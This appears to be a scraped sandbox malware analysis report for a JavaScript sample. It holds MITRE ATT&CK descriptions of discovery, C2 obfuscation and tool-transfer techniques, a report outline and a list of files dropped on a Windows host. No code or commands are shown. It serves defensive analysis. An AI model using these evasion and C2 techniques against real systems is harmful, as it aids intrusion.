Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 571464521086425926.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e55d7109-ee2c-4a41-9d71-65da66b18b43.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7016

Windows Analysis Report
571464521086425926.js